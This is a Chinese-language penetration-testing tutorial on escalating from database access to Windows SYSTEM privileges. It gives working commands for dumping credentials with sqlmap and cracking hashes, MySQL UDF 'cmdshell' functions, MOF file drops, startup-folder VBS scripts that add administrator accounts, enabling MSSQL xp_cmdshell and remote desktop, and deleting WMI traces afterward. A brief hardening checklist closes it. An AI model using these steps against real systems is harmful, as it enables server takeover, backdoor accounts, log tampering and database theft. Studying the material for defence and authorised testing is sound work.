数据库提权 --- 当系统没有漏洞,就从数据库下手
前面学了 Windows 系统提权------靠的是系统层面的内核漏洞。但如果目标把补丁打全了,系统漏洞一个没有怎么办?别慌,还有一条路:数据库提权。MySQL、MSSQL、Oracle......这些数据库往往以高权限运行,一旦拿到最高权限账号,从执行 SQL 到执行系统命令,只需几步。
一、数据库提权的前提条件
| 条件 | 说明 |
|---|---|
| ✅ 条件一 | 获取数据库最高权限的账号密码(root / sa) |
| ✅ 条件二 | 数据库未做目录限制 (secure_file_priv = '') |
| ✅ 条件三 | 数据库允许外连(或能通过 WebShell 本地操作) |
sql
-- 检查目录限制
SHOW VARIABLES LIKE 'secure_file_priv';
-- 返回空 → 无限制,可以写入任意目录
-- 返回路径 → 只能在指定目录写文件,提权受限
-- 开启远程连接
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;
FLUSH PRIVILEGES;
二、获取数据库账号密码 --- 四大途径
2.1 SQL 注入
bash
# SqlMap 一条龙
sqlmap -u "http://target/sql.php?id=1" --dbs
sqlmap -u "http://target/sql.php?id=1" -D mysql --tables
sqlmap -u "http://target/sql.php?id=1" -D mysql -T user --columns --dump
MySQL 的 user 表默认存储账号密码。密码通常是 MySQL 加密格式(
*开头),可使用 Hashcat 或在线 MD5 站解密。
Hashcat 破解 MySQL 密码:
bash
hashcat.exe -m 300 -a 3 密码Hash
# -m 300 = MySQL 4.1 / 5.x 加密
# -a 3 = 暴力破解模式
在线解密:https://www.cmd5.com / https://www.somd5.com
2.2 数据库存储文件 / 备份文件
管理员通常会定期备份数据库。拿到 WebShell 后去翻翻这些路径。
MySQL 数据文件默认位置:
C:\phpStudy\MySQL\data\mysql\user.MYD
三种数据库文件后缀:
| 后缀 | 含义 |
|---|---|
.MYD |
表数据记录 |
.MYI |
表索引 |
.frm |
表结构定义 |
.MYD文件用记事本打开就能看到账号密码------多数情况下密码是加密的。
2.3 翻阅网站配置文件
网站连接数据库一定会有一个配置文件。拿到 WebShell 后搜索包含以下关键词的文件:
conn、config、data、sql、common、inc、db、database
常见配置文件路径:
/inc/config.inc.php
/config.php
/conn.php
/common.php
密码通常明文写在里面!
2.4 暴力破解(最低效)
| 工具 | 使用场景 |
|---|---|
| Hydra | 数据库开启远程连接时直接爆破 |
| 本地脚本 | 数据库不开外连,上传 PHP 脚本在目标服务器本地爆破 |
数据库默认端口速查:
| 数据库 | 默认端口 |
|---|---|
| MySQL | 3306 |
| MSSQL | 1433 |
| Oracle | 1521 |
| PostgreSQL | 5432 |
| MongoDB | 27017 |
| Redis | 6379 |
⚠️ 远程爆破成功率低------流量大容易被监控阻断,而且数据库可能没开外连。推荐使用前三种方式。
三、MySQL UDF 提权 --- 自定义函数执行系统命令
3.1 原理
UDF(User Defined Function,用户自定义函数)是 MySQL 提供的一种扩展机制。攻击者可以利用它自定义一个能执行系统命令的函数,从而实现从数据库操作到操作系统命令执行的跨越。
执行 SQL → 自定义函数 cmdshell() → 执行系统命令 whoami → SYSTEM 权限!
3.2 提权流程
Step 1:确定数据库版本
sql
SELECT VERSION();
Step 2:上传 udf.dll 到正确位置
| MySQL 版本 | dll 存放路径 |
|---|---|
| < 5.2 | C:\WINDOWS\ 或 C:\WINDOWS\system32\ |
| ≥ 5.2 | MySQL 安装目录的 lib/plugin/ 下 |
bash
# 默认安装路径
C:/Program Files/MySQL/MySQLServer5.5/lib/plugin/udf.dll
# 或 PhpStudy 路径
C:/phpStudy/MySQL/lib/plugin/udf.dll
如果目标没有
plugin目录,WebShell 手动创建一个。
Step 3:创建自定义函数
sql
CREATE FUNCTION cmdshell RETURNS STRING SONAME 'udf.dll';
Step 4:调用函数执行系统命令
sql
SELECT cmdshell('whoami'); -- 查看当前用户
SELECT cmdshell('net user'); -- 查看所有用户
SELECT cmdshell('net user xiaolin 123456 /add'); -- 添加用户
SELECT cmdshell('net localgroup administrators xiaolin /add'); -- 提管理员
Step 5:开启 3389
sql
CREATE FUNCTION open3389 RETURNS STRING SONAME 'udf.dll';
SELECT open3389();
远程桌面已开启 → 用新建的账号登录 → 服务器到手!
四、MOF 提权 --- Win2003 专属
4.1 原理
MOF 文件用于描述 Windows 系统管理对象,可被 WMI(Windows Management Instrumentation)识别和解析。系统每隔约 5 分钟会扫描
C:/Windows/system32/wbem/mof/good/目录,并自动执行其中新增的 MOF 文件。
攻击者将恶意 MOF 文件写入该目录 → 系统自动执行 → 以 SYSTEM 权限运行攻击者指定的命令。
⚠️ 此漏洞基本只在 Windows Server 2003 环境下成功。
4.2 提权流程
方式一:数据库允许远程连接(用 MySQL 工具直接操作)
方式二:数据库不允许远程连接(用脚本)
sql
-- 将预先准备好的 moon.mof 脚本写入系统 MOF 目录
SELECT load_file('C:\\phpStudy\\WWW\\dz\\moon.mof')
INTO DUMPFILE 'c:/windows/system32/wbem/mof/moon.mof';
等待约 5 分钟 → 系统自动执行 → admin 用户被创建!
清除 MOF 痕迹:
bash
net stop winmgmt
rmdir /s /q C:\Windows\system32\wbem\Repository\
del C:\Windows\system32\wbem\mof\good\moon.mof /F /S
net user admin /delete
net start winmgmt
五、启动项提权
5.1 原理
Windows 开机时会自动运行「启动」目录下的文件和
msconfig中注册的启动项。攻击者利用数据库写文件能力,将恶意 VBS 脚本写入启动项目录。
5.2 操作步骤
sql
-- 1. 准备数据库
DROP DATABASE test;
CREATE DATABASE test;
USE test;
-- 2. 创建表
CREATE TABLE a (cmd TEXT);
-- 3. 插入 VBS 脚本内容
INSERT INTO a VALUES ("a=wshshell.run(""cmd.exe /c net user best best /add"",0)");
INSERT INTO a VALUES ("b=wshshell.run(""cmd.exe /c net localgroup administrators best /add"",0)");
-- 4. 导出到系统启动项目录
SELECT * FROM a INTO OUTFILE "C:\\Documents and Settings\\Administrator\\「开始」菜单\\程序\\启动\\best.vbs";
等待服务器重启 → 开机自动执行 best.vbs → 用户 best 被创建并加入管理员组!
触发重启的方式: MS12-020、MS15-034 等溢出漏洞。
六、MSSQL 数据库提权
MSSQL 默认开启对外连接(1433 端口),最高权限账号为
sa。
6.1 获取 sa 密码
- SQL 注入(
注入点 → master..sysxlogins → sa 密码) - 翻阅网站配置文件
- 下载数据库备份文件
6.2 xp_cmdshell --- MSSQL 的系统命令入口
xp_cmdshell是 MSSQL 内置的扩展存储过程,可以执行操作系统命令。高版本 MSSQL 默认禁用。
启用 xp_cmdshell:
sql
sp_configure 'show advanced options', 1
RECONFIGURE
GO
sp_configure 'xp_cmdshell', 1
RECONFIGURE
GO
-- 执行系统命令
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'net user test 123456 /add';
七、Oracle 数据库提权
Oracle 一般用于 JSP / ASPX 搭建的网站。
权限特点:
- JSP 网站 → 正常搭建拿到 WebShell 后 默认就是 SYSTEM 权限(不需要提权)
- ASPX 网站 → 需要进一步提升权限
账号密码获取思路同 MySQL / MSSQL,拿到后使用 oracleShell.jar 等工具进行命令执行。
八、数据库提权全景对比
| 提权方式 | 适用数据库 | 适用系统 | 核心原理 | 成功率 |
|---|---|---|---|---|
| UDF 提权 | MySQL | Windows | 自定义函数执行系统命令 | ⭐⭐⭐⭐ |
| MOF 提权 | MySQL | Win2003 | 写 MOF → WMI 自动执行 | ⭐⭐⭐ |
| 启动项提权 | MySQL | Windows | 写 VBS 到启动目录 | ⭐⭐⭐ |
| xp_cmdshell | MSSQL | Windows | 调用内置扩展存储过程 | ⭐⭐⭐⭐ |
九、脱库与防御
脱库方式
| 方式 | 工具 | 条件 |
|---|---|---|
| 工具脱库 | Navicat / SQLMap / K8 | 数据库支持外连 + 端口不被拦截 |
| 脚本脱库 | tuo.php | 知道账号密码但无法远程连接 |
| 打包网站 | dabao.php | WebShell 权限 |
数据库安全防御
1. 限制数据库远程连接,只允许本地访问
2. 密码 > 8 位,数字 + 字母 + 特殊符号
3. 不要给网站配置 root 或 sa 权限
4. 每个网站独立分配数据库账户
5. 设置 secure_file_priv 限制读写目录
6. 禁用不必要的扩展存储过程(如 xp_cmdshell)
写在最后: 数据库提权是 Web 渗透和内网渗透的交汇点。你从一个 Web 漏洞打进去,拿到了 WebShell 却提不了系统权限------这时数据库就是你的第二条命。UDF、MOF、启动项、xp_cmdshell......四种方式覆盖了从 MySQL 到 MSSQL、从 Win2003 到最新系统的全部场景。记住:只要拿到了数据库最高权限,数据库本身就能变成你的跳板。